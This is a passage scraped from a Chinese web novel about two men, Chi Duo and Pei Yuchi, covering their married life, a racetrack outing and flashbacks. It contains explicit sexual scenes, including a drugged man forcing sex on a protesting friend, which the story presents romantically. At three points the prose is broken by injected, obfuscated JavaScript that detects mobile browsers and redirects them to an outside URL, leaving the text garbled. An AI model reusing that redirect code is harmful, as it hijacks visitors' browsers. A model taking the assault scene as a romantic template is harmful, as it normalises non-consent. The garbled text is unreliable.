裴与驰偏偏没说一句话,只盯着那片湿痕,目光沉静。 这种反应,比任何话都要命。 迟铎耳朵、脖颈一路热到锁骨,连呼吸都不稳。 裴与驰忽然站起。 世界一晃, 迟铎被轻松带起来,稳稳落在他腿上。 迟铎惊得瞪眼:“你?” 裴与驰垂眼看他:“母猫发情了?” 迟铎当场炸开:“闭嘴!” 裴与驰低头,手从睡衣下摆探进去。 动作从容,像是熟悉地形。 指尖触到的一瞬, 迟铎喉咙发出一声压不住的气音: “……嗯。” 尾音轻的不像他。 迟铎想撑起来,却只抬起半寸, 下一秒,整条脊背都软下来, 像猫被抓住后颈,四肢发软。 身体先向男人投降。 裴与驰按住他的腰,让他坐稳:“别乱动。” 指尖向前,一寸一寸,带着绝对的掌控力。 “真想要,” 他语气平静, “就自己坐上来。” ………………………… 迟铎咬着牙, 手指扣在男人肩头, 缓慢又倔强地坐了上去。 落下去的那一瞬间, 他连呼吸都断了半拍。 随之而来的只有一个念头: ……擦。 迟铎当场悔青了肠子。 他没料到, 之前裴与驰那副温柔、绅士、像对待瓷娃娃一样的克制态度, 竟然全都是因为: 他怀着孕。 现在禁令解除, 裴与驰连伪装都懒得维持。 温柔的假面被掀开, 底下藏着毫不掩饰的掌控欲。 迟铎 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此刻像尾巴被踩住, 不敢动、不敢喘、不敢抬头。 裴与驰垂下视线, 指尖顺着迟铎的侧腰向上, 顺手把从……里抽出时带出来的莹白黏腻抹在了他的皮肤上。 动作极轻, 却把人的呼吸系得死死的。 “自己看看,” 他淡声道, “是谁先投降。” 迟铎耳朵红得发烫, 羞意一路烧到脖颈。 “…靠。” 他咬着尾音, 像是在骂, 又像是在认输。 裴与驰抬眼看他, 神色平静得过分, 甚至带着一点耐心: “说离婚的时候,怎么不先想想现在?” “……” 还有完没完了??? 迟铎是真的要疯了。 他第一次发现, 裴与驰这么记仇。 偏偏壁在雕头下, 他只能低头。 小兽收起獠牙, 胸口剧烈起伏了几下, 双臂绕上裴与驰的脖子。 他侧过头, 下意识往男人喉结贴过去。 舌尖轻触, 若有若无, 不是亲吻, 是小兽在投降讨饶。 但求饶也没用,小心眼的男人心肠跟“巨型野生动物雕”一样硬。 到了要紧关头,还要求新手妈咪必须验证防水垫是否有用。 之后没喘几口气,又强迫投入劳动,直到男人高挺的鼻梁上也满是水渍。 经此一役, 迟铎算是刻骨铭心地领教了自家老公的实力以及他的惩罚手段。 他躺在床上好几天,腿都发软得下不来, 连翻身都能牵起一串羞耻的酸痛。 痛定思痛之下, 迟铎在心里发誓: 抽烟只抽棒棒糖。 不能再来一次那种……教育。 7.初体验 胡闹了一整晚,迟铎醒来时,已经是下午。 裴与驰不在。 迟铎一点都不意外。 按裴与驰那种工作狂的活法,大概率有命赚、没命花。 根据裴大老板的拼命程度,把收入折算成时薪,未必比他前几年在录音室随便嚎两嗓子、当修音战神来得轻松。 迟铎每天固定流程:先贬一贬老公,再开始新的一天。 情绪稳定,效果拔群。 很科学。 昨晚通宵,腰在抗议,腿也不太听使唤。 但问题不大:月嫂到位,团队在岗,孩子睡得比他还香。 迟铎心安理得,决定出去放松。 他掏出手机,给周淮发微信。 【cheeto】:出来。 对方秒回。 【碎银几两】:? 紧接着又一条。 【碎银几两】:盗号狗 迟铎:“……” 他刚想回怼,屏幕又亮。 【碎银几两】:我那个一起玩泥巴的兄弟,一年前已经死了。 【碎银几两】:你盗号也挑个活人行吗? 迟铎深吸一口气,还没来得及骂,电话直接打了过来。 “哟。” 周淮一开口就是熟悉的阴阳怪气,“迟少还魂了?” “我以为你去年连夜爬上断背山,从此和你男人双宿双飞,修仙问道,不问人间冷暖。” “结果今天突然诈尸,是良心发现?” 迟铎懒洋洋地回一句:“看看你死没。” “托你的福,还吊着一口气。” 周淮叹气,“不过也快了,这一年我在我爸手底下苟活,烟都从黄金叶降级成利群了。” 迟铎懒得听他逼逼叨叨:“出来,地址发你。” 电话一挂,他盯着黑掉的屏幕看了两秒。 时间倒回去年。 纽约。 迟铎应某杂志之邀飞去拍封面,收工得早,闲得发慌。 恰好周淮也被他爸发配到纽约看展,流放犯一听裴与驰在慈善晚宴,眼睛发亮。 迟铎锐评过这位发小: “他出去买包烟都能碰上9个周淮想睡的女人。” 迟铎无可无不可,打通了裴与驰电话。 按惯例,裴与驰只在晚宴露个脸,拍一两件首饰捧场,跟主办方寒暄几句,就提前退场。 After party从来不在他的行程里。 正准备离开时,他接到了迟铎的电话。 裴与驰脚步一顿,眉头微动,抬手示意司机去接人。 正式晚宴讲门槛,after party讲更敢。 灯光一暗,音乐一响,谁更敢,就能钓到肥鱼。 三人一进门,场内气氛微妙地顿了一下。 目光迅速聚焦,接着在昏暗里变得肆无忌惮。 裴与驰是今晚的焦点。 那些常年混纽约上流社交圈的 gold digger 早就听过他: 年轻、低调、英俊——最重要的是多金。 尤其他最近还刚大赚一笔,成了华尔街日报热议的明星。 每个人都想找机会和他春风一度,最好一击即中,从此母凭子贵。 可裴与驰气场太硬,自带制冷模式,想上来攀谈的美女因穿着清凉,冷到发抖。于是半道刹车,转向他旁边的同伴。只是眼神还停留在他身上。 周淮对此十分乐见其成。 他端着花花公子的派头,不一会儿就把一位拉丁美女哄得喜笑颜开。美女挽着他的手,回头给裴与驰抛了个媚眼。 裴与驰没接,连眼神都懒得分。 美女遗憾地进了舞池。 迟铎本来只想小酌一杯放松,结果蝶围蜂绕。 valley girl 的气泡音从四面八方包围过来,吵得他头皮发麻。 酒过三巡,音乐换了两首。 他终于打发走了不知道第几个“miss usa”,才喝到手里那口香槟。 迟铎啜了一口,翻了个白眼,凉凉吐槽: “这辈子说 sorry 的额度,全用在分不清 miss usa 和 miss America 上了。” 裴与驰没接话。 他站姿仍旧笔直挺拔,但单手插兜看迟铎笑话的闲适模样消失不见。 他抬手按了按太阳穴,眉头皱起,像在硬扛什么。 迟铎放下酒杯:“不舒服?” 裴与驰的目光扫过来,眼神有点迟滞,像慢了半拍才对上迟铎的脸。 然后他伸手扣住迟铎的手腕,力道不重,却不容拒绝:“走了。” 迟铎察觉到不对,没有反抗,跟着他走。 身后周淮嘴角都咧到耳朵,食人花成精,在舞池里,从莎莎跳到巴恰塔。 车里,裴与驰额头沁出汗。 他脱掉外套,松开领带,解开衬衫的扣子,少见地不修边幅。 迟铎从未见过裴与驰如此模样,心中升起一股疑虑,难道生病了? 进房间,裴与驰把西装外套随手一扔,扯领带的动作带着焦躁。 迟铎走近:“怎么了?真不舒服?” 裴与驰没有立刻回答,只是低着头,随手将领带扔到一旁,双手撑在台面上。 迟铎看他脖颈发红,伸手一摸,灼热感瞬间蔓延到掌心。 迟铎蹙眉:“你被下药了。” 裴与驰没有反驳。 体温一路往上走,热意像潮水,理智被一点点淹没。 迟铎深吸一口气,脑子飞快转: 送医院,还是打电话叫周淮——让他术业有专攻,拉下皮条。 下一秒,天旋地转。 他被裴与驰一把拽过去,直接扔到床上。 一具滚烫的身体紧跟着压下来。 迟铎呼吸一滞。 这姿势,亲密得过了界。 迟铎从未和任何人有过这样的接触。羞耻来得晚,但来得狠。他想推开,手腕却被裴与驰顺手扣住。 下一秒,双手被并拢举过头顶。 裴与驰拿了领带,在迟铎腕上一绕,收紧。力道不重,却刚好让人动不了。 领带的布料划过皮肤的冰冷与紧绷感,犹如一种无形的束缚,压迫着迟铎的每一寸肌肤。 迟铎一瞬间清醒:这不是在闹着玩。 心跳猛地撞到嗓子眼。 他挣了一下,没挣开,反倒被压得更紧。房间像被抽了音,只剩呼吸和心跳声在耳膜里打鼓。 “操……” 裴与驰的吻砸下来,没章法也没耐心,只剩蛮横。迟铎被咬得眼眶一热,铁锈味在舌根炸开,疼得他想骂,偏偏连骂都被堵回喉咙里。 他被按在那儿,手腕被领带勒得发麻。裴与驰贴得太近,热得不讲理,身上还带着他熟得不能再熟的气味。 “你清醒一点,看看我是谁!”迟铎在心里骂,后悔得牙根发酸。明明看出不对劲,偏偏还把秘书和司机放走。现在好了,烂摊子落他一个人头上。 “我就该让你秘书留下来看你出丑。”他恨恨想。 可念头刚冒出来就被自己掐死。要不是他无聊,又被周淮怂恿,缠着裴与驰来 after party,这人根本不会落到别人算计的地步。 成熟男人第一步:承担责任。 被这样压制,反应还偏偏不争气,迟铎当场破防。 亚比潮男不能输。 他索性摆烂,手往下探,声音像在跟自己较劲: “行。谁还不是手艺人?” 裴与驰最好保持他的投资风格:快进快出,风险可控。 别给他整得要报工伤。 以后裴与驰再摆那张高冷装逼脸,他就能当面怼一句: “V50,带你复盘三分钟。” 迟铎苦中作乐地想。 下一秒,裴与驰的呼吸明显重了一截,像是被什么彻底点着。 “等、等一下。”迟铎声音发哑,几乎是从齿缝里挤出来的。 裴与驰膝盖顶过来的那一下,像是精准踩在某条线边缘,迟铎的理智“啪”地回笼。 他的身体,藏着一个难以启齿的秘密。 再这样继续下去,就不是“好兄弟酒后误入击剑俱乐部开始击剑”的程度了,是要把他这一辈子不想被任何人看见的东西,当场撕开。 他挣了一下,没挣开,反倒被按得更紧。 迟铎心口一凉,忽然意识到:被药搅乱的裴与驰根本分不清他是谁。 裴与驰的耐心几乎为零,动作又急又躁,像只想把这场麻烦尽快收场。一点qian戏不愿意施舍,仅拉下裤lian就要提qiang上膛。 “不要。”迟铎的声音开始抖,“不可以……真的不可以。” 他努力把......并紧,结果下一秒又被强硬地掰开,像是连最后一点体面都不给他留。 从未见过外人的……彻底暴露在空气中。 害羞的小金鱼一张一闭地吐起了泡泡。 被迫暴露的恐慌和窘迫从脊骨一路窜上后颈,迟铎眼圈一下就红了,特别委屈。 他都甘愿给他手擦刺刀了。 “不然我们别做兄弟了。”迟铎带着哭腔,话却放得极狠,“我恨你一辈子。” 裴与驰的动作顿住半秒。 他低头看着迟铎通红的鼻尖和湿掉的睫毛,眼神像是从迷雾里捞回一点焦距。 可下一瞬,那点焦距又被火气和欲望顶翻。 “自己凑上来的。”他冷着脸,声音哑得吓人:“现在装什么。” 他显然把身下人认成了那个趁乱贴上来的掘金女郎。 迟铎被噎得发颤,想骂,但骂出来也没用,他现在解释,裴与驰也听不进去。 裴与驰盯了他两秒,像是彻底失了耐心,把他翻过身去。 他抬手捏住迟铎的下巴,力道不轻不重,却不容商量。 “腿并紧。”他一字一顿,像命令,“现在。” 随后重量彻底覆了上来。 …………< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864886|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 浴室里淋浴的水声响起。 迟铎披着浴袍,半坐在床边,没管身上那些乱七八糟的痕迹,点了根烟,开始罕见地认真思考人生。 他妈以前就告诫过他: “多懒惰,少勤奋。” “千万别因为大脑空空就焦虑。” 原因无他,经验之谈。 从小到大,迟铎一动脑子就捅娄子。 给他收拾过无数烂摊子的母亲终于悟了: 儿子优点不多,除了帅就是懒; 一旦勤奋起来,就能精准踩中生活所有雷点。 所以,少做少错,最好不做。 这次也是。 裴与驰秘书的联系方式就躺在他手机里,他偏要想点子把自己扯进去。 现在好了,兄弟变炮友,秘密还顺带见了光。 想到这,迟铎惆怅地吸了一口烟,开始盘算以后怎么跟裴与驰相处。 是相忘于江湖,当最熟悉的陌生人。 谁问就去KTV点首《最佳损友》,当作官方回应; 还是……算了,脑子一片空白。 但有一件事他很确定: 回到原样,当没发生过,做不到。 理由很简单: 第一: 兄弟这俩字,从昨晚开始就不干净了。 但他也不至于跟男人睡一次就当场变弯。 第二: ……有爽到。 水声还在继续,迟铎掐灭了烟,穿好了衣服。 太阳照常升起,饥饿如期而至。 人类的胃,从不管你昨晚干了什么。 酒店餐厅, 迟铎随手拿了咖啡和吐司,找了个位置坐下。 内心有事,脸上写着四个字:别来沾边。 可周淮不识字。 他像闻着味儿的狗皮膏药,啪一下黏上来,开口就自带春风和浪: “昨晚的妞都好正点啊。” 不难想象他过了个什么夜晚。 他爸把他发配纽约看展,他把自己发配舞池当公狗。 他话锋一转,立刻切到审讯模式: “你俩太不够意思了吧?走也不告诉我?你俩去哪了?” “你嘴角咋破皮了???不会你俩也泡妞去了吧?” 迟铎面无表情,当他空气。 低头在手机上敲了两行字,再反手一扣。 “两死装男,真遇到辣的还不是小头控制大头。” 周淮嘴贱不减反增,越说越离谱: “泡妞怎么不叫我??难道你俩玩双飞啊?” 话音刚落,裴与驰走了进来。 嘴角也破了皮。 和迟铎一左一右,像对称款限定联名。 周淮当场安静,脸上的笑慢慢僵住。 事情发展得有点惊悚了。 “多~”他声音都放轻了,“你老实跟我说,你们昨夜是打了一架摔对方脸上了吧?” 总不能是你俩对着狂甩舌头没控制住力道吧。 这句周淮没敢说出来,但脑子已经播完一遍高清回放。 迟铎一声不吭,端起咖啡喝了一口。 “嘶。” 他立刻放下,像刚舔了开水壶。 周淮:“……” 迟铎和裴与驰互相狂甩舌头的画面,高清□□,在他脑海里循环播放。 消息太突然,他一下接受不了, 但两下就接受了。 过刚易折,原来不是成语,是纪实文学。 他忽然想起一个更要命的问题,赶紧试探: “你俩不会……高中就已经……” 兄弟弯不弯不重要,什么时候弯才重要。 迟铎只当狗在叫。 思索再三,周淮又憋了半天,终于憋出一句,声音还压得很低: “兄弟,我没别的意思。” “就是想问下,你没搞什么替身文学吧?” 迟铎:“?” 周淮眼神乱飘,看天看地就是不看迟铎。 “就是……拿裴与驰当、当我平替。” 迟铎沉默两秒,面无表情地看着他,像在看一个会自己充气的套。 “你放心。”迟铎说。 “你不配。” 回忆到此,迟铎又被这个超绝普信男恶心了一下。 他拨了个电话过去,骂了句“傻逼”,挂断。 这才心里舒畅了点。 F1棒球帽一扣,红牛polo一穿,克罗心拼接工装裤往身上一套。 白色赛车手套塞进腰间,权当腰链。 潮男驾到,通通闪开。 他走进车库,掀开丝绸车罩。 银色阿斯顿·马丁 Valhalla 露出来,线条锋利又招摇,停着都在炫——跟它主人一个德行。 迟铎坐进驾驶座,把帽檐随手往后一拧,点火。 声浪炸开,他吹了声口哨,笑意从嘴角一闪而过。 目的地? 显而易见。 8.赛车 某国际赛车场。 银色车身滑进车库时,里面已经停了好几辆超跑。 颜色张扬,线条嚣张,车随主性,一个比一个不安分。 周淮的拉皮条业务一如既往地稳定。 公子哥们来得相当齐,说是跑圈,实则来捧(八)场(卦):庆祝(围观)迟少回归(婚后)人间(生活)。 “这尾翼真帅啊。” “这款国内不是只有展车?” “这100多万的车漆好tm帅,吞金兽就得吞出这个效果才值。” ...... 吹捧声四面八方袭来,话绕了一圈,终于落到正题。 “是不是裴少送的?” 原来只为这一碟醋。 第一个不怕死的刚起头,后面的立刻顺杆往上爬。 “你是觉得我们迟少买不起吗?” 有人义正严辞站队,“就是,迟少缺钱吗?” 下一秒话锋一转,“只是偶然听说裴少最近平行进口了一辆好车,嘿嘿。” “迟少,婚礼什么时候办?” “喜酒总得喝吧?” ...... “你男......不是,” “裴少管你......咳咳,今天怎么有空出来玩啊。” 最后一句问得吞吞吐吐,过于委婉,委婉到连周淮都听不下去。 他手搭上迟铎的肩,笑得像个职业老鸨:“你们能不能别这么怂?想问就问!迟少,你是不是被你男人关家里当金丝雀了?” 场面安静了半秒,大家都在憋笑。 这群人和迟铎一起玩泥巴长大,突闻噩耗: 兄弟“成长未半而中道变弯”,还一步到位领证,心理缓冲期无限拉长。 比起相信迟铎和裴与驰结了婚,他们更愿意相信这是某种真心话大冒险输了的惩罚。 直到最近新闻闹大,迟铎直接公开出柜。 人类爱看热闹,犹如猴子梳毛,兄弟变通讯录实锤落地,一群人立刻闻风而来。 毕竟,一个人看热闹犹如菜里少了盐,寡淡无味,一群人扎堆看,才能尽兴。 呼朋唤友的周淮如是说。 迟铎斜睨了他们一眼,把手套从腰间抽出,随手丢在引擎盖上,没接话。 这些人,祖上多少都阔过。 爷爷辈的名字拎出来是传说。可君子之泽,三世而竭。兜里有钱的,产业跟着时代翻车;手里有权的,权力隔代蒸发。 落到他们这一代,能剩下的无非是信托和躺平。父亲们带着儿子一起摆烂,理直气壮当起地主家的傻儿子,学名Constance lifestyle。 迟铎对此没什么感想。 他爸迟了了倒是认真复盘过,结论简单粗暴:怪爷爷取名太随便。小时了了,大未必佳,名字先天压制事业运。 至于迟铎这个名字,则是他妈林苹苹爱吃奇多的副产品,他妈当年一拍脑袋,直接掐灭了迟了了“给儿子取个绝世好名,然后一飞冲天”的幻想。 这都是后话。 真要说例外,裴家算一个。 也不知道是不是祖坟冒了青烟,“虎父无犬子”这种话,居然能用到第三代。 裴与驰他爸裴谦之,固定时间你总能见到;他妈沈经纬,一个人扛过家族产业转型;到裴与驰这儿,干脆成了花街押注的明日之星。 想到这儿,迟铎收回思绪,这些都只是背景噪音而已。 他今天来这儿,不是复盘阶级史,是来虐人放松的。 见他不接茬,周淮干笑两声圆场:“跑圈跑圈,老规矩,谁赢谁请酒。” 有人直接接:“那迟少直接把卡掏出来吧。” 迟铎抬眼,嘴角勾了一下:“行。” 又慢条斯理补一句:“那你们记得跑慢点。” 话说得客气,态度却嚣张得很。 重返赛道的感觉有点陌生,又有点上头。 心里的野马一松缰,开始叫嚣。 他扣好头盔,拉紧手套,踩下油门。 银色车身弹射而出,引擎声被拉满,风被甩在身后。 后视镜里,那只嚣张的大尾翼一晃一晃地叫嚣着,就像车主人本身,张扬又夺目。 通讯频道起初还很热闹,大家都在插科打诨, “迟少注意下,我这车是我爸贷款买的。” “滚一边去,老子上个月亲眼看你刷的全款。” “迟少慢点冲,给我们留点做人尊严。” 迟铎懒懒地“嗯”了一声,下一秒直接加速。 “不是!你这出弯怎么还能加速???”频道里有人开始哀嚎。 几圈过去,只剩喘气声和零星的“操”,“我靠”。 迟铎始终在前,线走得稳,动作干脆。 身后车辆始终隔着那点要命的距离,看得见,却追不上。 很快有人退场。 理由五花八门:轮胎不热,刹车偏软,水喝多了急需排空。 到最后,赛道空了。 迟铎一个人跑完最后一圈。 冲线,减速,回库。 干脆利落。 他摘下头盔的一瞬间,汗沿着鬓角往下,凉风一吹,瞬间神清气爽。 一辆黑色劳斯莱斯幻影驶进车库。 车门打开,裴与驰下车。 西装笔挺,领带没松,袖扣一丝不苟,和这满库引擎声、汗味、肾上腺素格格不入。 像是下班顺路来逮人。 车库安静了一秒,随即炸开,狗叫声此起彼伏。 “裴少来了。” “下班直达接人啊?” “都来了,不跑一圈说不过去吧?” 有人笑了一声,补刀: “迟少今天都杀疯了,正好请家属镇场子。” 迟铎坐在车里,摘了头盔,看了裴与驰一眼,丝毫不意外他能准确定位到自己的位置。 裴与驰扫了眼赛道,又看回迟铎。 碎发被汗压得服帖,眼睛却亮得过分。 他没多说,解开袖扣,把外套递给司机。 “钥匙。” 周淮一愣,立刻反应过来,把钥匙丢过去:“裴少温柔点,我这车刚送去保养。” 裴与驰没接话。 上车,关门,调座椅,调后视镜,一串动作干脆利落。 引擎声一前一后响起,赛道再次清空。 绿灯亮。 一银一蓝同时起步,如离弦之箭,快得让人看不清。 蓝色跑车总是先领先半个身位,然后又故意给出可以追上的距离,让银色跑车超过,像在逗猫。 几圈下来,咬得极紧,你追我赶,胜负难分。 直到最后一个弯,迟铎习惯性压内。 余光里,裴与驰的车线微微松了一点。 只是一点。 足够了。 冲线灯亮。 车库一片哗然。 “操!!!” “他让了??” “绝对让了!!!” 迟铎减速,回库。 他摘下手套,静了两秒,并未下车。 周淮的车已经停在旁边。 裴与驰走过来,敲了敲车窗。 “你赢了。”语气平直,没有波澜。 迟铎拍了拍方向盘,侧头看他,笑了一下:“你穿成这样来赛车,好逊。” “你赢了就不逊。” 裴与驰回得很快,还学他说话。 人吃瓜的时候总是格外耳聪目明。 起哄声再次炸开,有人甚至开始轻哼《因为爱情》。 迟铎没理,他看着裴与驰,表情难得有点迟疑。 “等一下。” “怎么了?”裴与驰皱眉。 迟铎别开脸,声音压低:“……出了点技术问题。” 顿了顿,补了一句,“不是车的。” 酒是裴与驰买的单,请客的人和家属都没露面。 夜晚,山顶。 车窗外一片黑,路灯把车漆照得发亮。 迟铎靠在副驾,脸色泛红,眼神有点飘。 他手在空中攥了一下,像想抓住点什么,没抓住,索性松开。 裴大少爷技术越来越娴熟。 为了压住胸口那点越积越满的失控感,他放任思绪乱跑。 一跑,跑回很久以前,他第一次在赛道上,被人按头的那天。 刚到英国没多久,他去看了F1现场。原本只是凑热闹,却被人顺手塞进hotlap的副驾。 赛车启动的那一瞬间,他甚至没来得及抓紧安全带。风、速度、失重感同时压下来,心脏被攥得发紧。 肾上腺素像被人拧开了阀门,从此一发不可收拾。 赛道成了他第二个宿舍。练得多了,自信开始膨胀,膨胀到理所当然地觉得,赛道是他的地盘。 直到那天,银石赛道的某个开放日,他看见了裴与驰。 他的舍友,一个他下意识认定,绝不可能出现在这种地方的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴与驰应了一声。 那一瞬间,他的视线在迟铎脸上停了一下。视线里,好像看到了一只张牙舞爪气到把自己鼓成球的河豚。 然后他淡淡补了一句:“那你让得挺认真。” 迟铎的手指在方向盘上收紧,指节泛白,头盔差点直接砸过去。 思绪到这儿,被硬生生拽断。 “嗯......”呻吟最终还是没忍住,从喉咙里溢出来。涨痛的某处终于得到了缓解,方才一直在此处作乱的脑袋抬起,迟铎还没来得及反应,下一秒,下颌就被扣住了。力道不重,却不容拒绝。 他被人拽过去,唇舌相贴的瞬间,甜腻的气息直接顶了上来,像是故意不给他反应时间。迟铎下意识想躲,却只来得及换个角度,被迫接下这个吻。 迟铎把喂到嘴里的液体咽下,喉咙滚了一下,皱眉看过去:“你是变态吗?” “你自己的东西,还嫌弃?”裴与驰挑了挑眉,语气理所当然得让人火大。 他靠回座椅,缓了口气,心跳还没完全降下来过了几秒,他忽然偏头看向裴与驰:“你刚才为什么让我赢?” 裴与驰沉默了一秒,“我开的是周淮的车。” 迟铎嗤了一声,毫不留情:“说人话。” 要不是被他用不同的车按在赛道上虐过无数遍,这个借口或许还有点可信度。更何况,家里车库里现在就安安静静停着一辆同型号的车。 裴与驰没再看他,他的视线落回方向盘上,“今晚你玩得很开心。” 像小朋友终于拿回心爱的玩具,不玩够,不肯走。 所以才会陪着跑,陪着疯,最后放线,让你赢,让你彻底开心。 话没说全,但迟铎听懂了。 “这车开久了,声浪听起来有点像吸尘器。” 迟铎干巴巴地开口,话题拐得生硬。 裴与驰:“嗯” 迟铎:“你“嗯”什么?” 心里暗骂一句这人不配合,害得新话题刚起个头就要夭折。 裴与驰目视前方,语气依旧平平:“我也觉得。” 迟铎:“……” 这话一出,话题再次终结。迟铎张了张嘴,最终还是没接上,索性偏头看向窗外,假装这段对话不存在。 下一秒,裴与驰却像是终于想起什么似的,继续补了一句: “所以订到了一台新的,后天应该能送到家。” 迟铎下意识接了一句:“什么?” 裴与驰:“Valkyrie。” 迟铎彻底不说话了。 车载空调还在正常运转,风口安静地送着冷气,迟铎却觉得周围的温度节节攀升。 迟铎明知道对方不是无意,却还是被这种明晃晃的纵容逼得心口发紧,彻底败下阵来。 9.事后 回来洗漱后,迟铎看了一眼婴儿监控。 小魔王睡得四仰八叉,手脚摊开,像一团没心没肺的年糕,呼吸均匀,半点要醒的意思都没有,嘴角还挂着一点可疑的水痕。新换的“奶嘴”似乎并没对他的作息造成任何影响。 迟铎盯着屏幕看了两秒,确认这小东西短时间内不会作妖,才把手机放到一边。 浴室里水声响起。 哗啦啦的水流隔着门板传出来,让人没来由地分神。迟铎在原地站了一会儿,又很快反应过来,把那点走神按了下去。 水声和记忆里某个清晨短暂地重合了一瞬,又被他自己掐断。 区别在于,那一次,他是落荒而逃的。 而现在,他可以心安理得地坐在床边,等裴与驰出来。 那天早上,他撇下裴与驰自己去吃早餐,本来就是个信号。 不是闹情绪,也不是不高兴。只是觉得,有些事情最好各自消化一下。 迟铎向来不擅长当场处理复杂问题,尤其是在身体已经先一步给出答案之后。 这是他当时能想到的,最不失分寸的处理方式。 可一向擅长直切要害的裴与驰,偏偏像是完全没意识到。 消息来得很平静。 【在哪。】 简洁明了,不带一丝情绪。 现在回想起来,那条消息更像是在顺手确认一件他们一贯会做的事—— 习惯使然,谈不上别的。 迟铎当时看着屏幕,莫名有点烦躁。 他发现自己并不擅长,在这种时候突然把关系切断。 他们不是那种需要把话说得太清楚的关系。太清楚了,反而显得刻意,也容易失控。 他盯着手机看了两秒,最终还是在周淮的狗叫声背景音下给了回复。 替身文学创作者一秒回到现实,发现自家兄弟脸色不对,终于意识到自己可能踩了雷,讪讪闭嘴,找了个借口溜去取餐。 迟铎端起咖啡喝了一口,舌尖被烫得发麻,脸上却没什么表情。 没过多久,裴与驰走过来,端着一杯冰柠檬水,在他对角的位置坐下。 距离把控得刚刚好。 不远不近,不会让人下意识绷紧,也不至于显得刻意疏离。那点分寸感,恰好卡在一个不至于让应激的小动物当场炸毛、不顾脸面落跑的位置。 氛围安静得有些反常。 取餐回来的周淮几乎是瞬间捕捉到了空气里那点说不清道不明的变化。 他一口把三明治塞进嘴里,噎得差点翻白眼,连喝了两口咖啡,立刻站起身。 “我突然想起来我爸让我回个电话。”话音未落,人已经拎着餐盘迅速撤离,速度堪比原地飞升。 迟铎看着他消失的背影,心里骂了句没义气。 周淮在他面前向来肆无忌惮,可每次面对裴与驰,这人就怂得格外明显。像是本能知道,这个人不在“可以胡闹”的范围里。 裴与驰把冰柠檬水推到他面前。 迟铎接过,慢慢喝了一口。冰意顺着喉咙往下走,刺痛的嘴唇和喉咙得到了缓解。 不需要开口,见到迟铎的第一眼,裴与驰就已经清楚他是什么状态。 于是冰柠檬水代替了热咖啡。 这种事情,他们早就习惯了。 银石赛道日破冰之后,他们成了朋友。 朋友意味着不需要再试探边界,也不需要刻意避开。 迟铎照旧熬夜,打游戏,刷赛道录像,时间感模糊得一塌糊涂。 裴与驰照旧工作,书桌前是电脑和外接屏,红绿线条翻滚,像一场无声的博弈。 两个人作息南辕北辙,却已经不需要再刻意错开。 迟铎熬到凌晨,眼睛发涩,把电脑一合,桌上多了一杯水。 他扫了一眼,没问,顺手拿起来。 第二天早上,闹钟响到第三遍,声音刚开始变得尖锐,就被人按掉了。 裴与驰甚至没回头,只是合上电脑,顺手把窗帘拉严,像是在处理一件影响效率的环境噪音。 迟铎当时并没觉得哪里不对,朋友之间,顺手而已。 后来回想起来才发现,正是从那时候起,他开始下意识地,把自己也归进了裴与驰的生活秩序里。 迟铎低头盯着柠檬水里漂浮的柠檬片,脑子却不受控制地往昨晚滑。 他很快又把这个念头掐断。 “别想。” “没意义。” 只要裴与驰当时不够清醒,这件事就还能被勉强归类成意外。 尽管他早上抽烟的时候已经意识到,他们大概回不到单纯的朋友关系了。 可真正坐在这里,他才发现,习惯是一种很可怕的东西,尤其是当它披着“默契”的外衣时。 想要戒断,会很难,而迟铎一向不耐痛。 成为朋友很难。 但不做朋友,更难。 这个念头刚在脑子里落稳,桌面上忽然多了一道阴影。 迟铎抬头。 裴与驰已经坐直了些,目光落在他脸上,不闪不避。 “你刚才是不是在想,” 他开口,语气很平,像是在确认一件已知的事实, “只要我当时不清醒,这件事就还能算意外。” 迟铎指尖一紧。他没立刻接话。否认太刻意,承认又显得狼狈。 裴与驰也没等。 “我不是。” “我醒得很早。” 迟铎喉咙发紧,下意识想打断他。 “你被下药了。”他说,“断片很正常。” 这是他能给出的、最体面的解释。 说完这句,他们就还能顺理成章地退回朋友关系。 以往每次遇到尴尬、招架不住的场面,迟铎都是这么做的:干巴巴地转移话题,再寄希望于对方能配合他把事情翻篇。 而裴与驰这一次,依旧不配合。 “第一声的时候。” 语气没有任何起伏,时间点却咬得很准。 迟铎呼吸一滞。 “那声抽泣出来的时候,我就知道,躺在我身下的是谁。” “不然,”他停了一下,“我不会只是——” 听不懂人话的大少爷,在这一刻突然显得格外善解人意。 餐桌像是被抽走了所有杂音。 冰柠檬水杯壁上的水珠缓慢滑落,在桌面上洇开一小片痕迹。 迟铎的视线不受控制地落在那道水痕上。 “你那时候在哭。”裴与驰继续,语气依旧冷静,“不是因为疼。” 那句话落下的瞬间,迟铎脑子里像被什么猛地掀了一下。 昨晚那些混乱的感受不受控制地翻涌上来。陌生的热度,失序的触感,还有明明害怕,却在某个瞬间彻底沉迷下去的失重感。 尴尬、羞耻、委屈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878167|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全都挤在一块儿,来不及分辨。 他几乎是条件反射地抬高了音量:“那你为什么不停?” 话出口的一瞬间,迟铎就后悔了。 像是受惊的小动物先一步亮出爪子,反抗之后,才后知后觉地意识到:自己亲手把话题,推向了一个再也收不回来的方向。 裴与驰没有立刻回答。 